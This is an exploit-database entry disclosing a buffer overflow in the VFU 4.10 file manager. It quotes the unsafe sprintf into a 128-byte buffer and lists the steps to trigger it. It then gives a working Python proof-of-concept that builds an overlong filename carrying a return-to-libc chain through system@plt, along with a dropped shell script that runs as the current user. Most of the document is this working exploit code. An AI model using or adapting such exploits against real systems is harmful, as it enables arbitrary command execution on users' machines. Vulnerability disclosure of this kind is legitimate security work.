发布 2015-02-25 漏洞条目

VFU 4.10-1.1 – Move Entry Buffer Overflow

Exploit Source

# Exploit Title: VFU Move Entry Buffer Overflow

# Date: 2015-02-25

# Exploit Author: Bas van den Berg -- @barrebas

# Vendor Homepage: http://cade.datamax.bg/

# Software Link: http://cade.datamax.bg/vfu/#download

# Version: 4.10-1.1

# Tested on: GNU/Linux Kali 1.09 32-bit & Crunchbang 11 Waldorf (based on Debian Wheezy), kernel 3.2.0-4

# VFU 4.10 (probably up to 4.14) contains a buffer overflow when a user

# moves a file entry around with a large filename. To trigger this

# vulnerability, extensive user interaction is required.

# Steps to reproduce the bug: create a file with a large (>115

# characters), run VFU and select 'A' and then 'V' to move the large

# file entry around. Upon confirming the entry move, VFU crashes due to

# a buffer overflow in this function:

'''

void vfu_file_entry_move()

{

char t[128];

sprintf( t, "MOVE/REORDER File entry: %s", files_list[FLI]->name() );

say1( t );

say2( "Use Up/Down Arrows to reorder, ESC,ENTER when done." );

'''

# This overflow allows execution of arbitrary commands with the

# privilege of the current user. The attached PoC demonstrates this. It

# drops two files: the large filename and a shellscript that allows

# arbitrary command execution. Usage: $ python vfu-move-entry-poc.py

import struct

import os

def p(x):

return struct.pack('<L', x & 0xffffffff)

with open('./vstring.h', 'w') as f:

f.write('#!/bin/sh\ntouch pwned')

f.close()

os.chmod('./vstring.h', 0755)

payload = "A"*115

payload += p(0x8049ca0) # system@plt

payload += p(0x804a260) # exit@plt

payload += p(0x8088e44) # -> ./vstring.h

open(payload, 'w').close()

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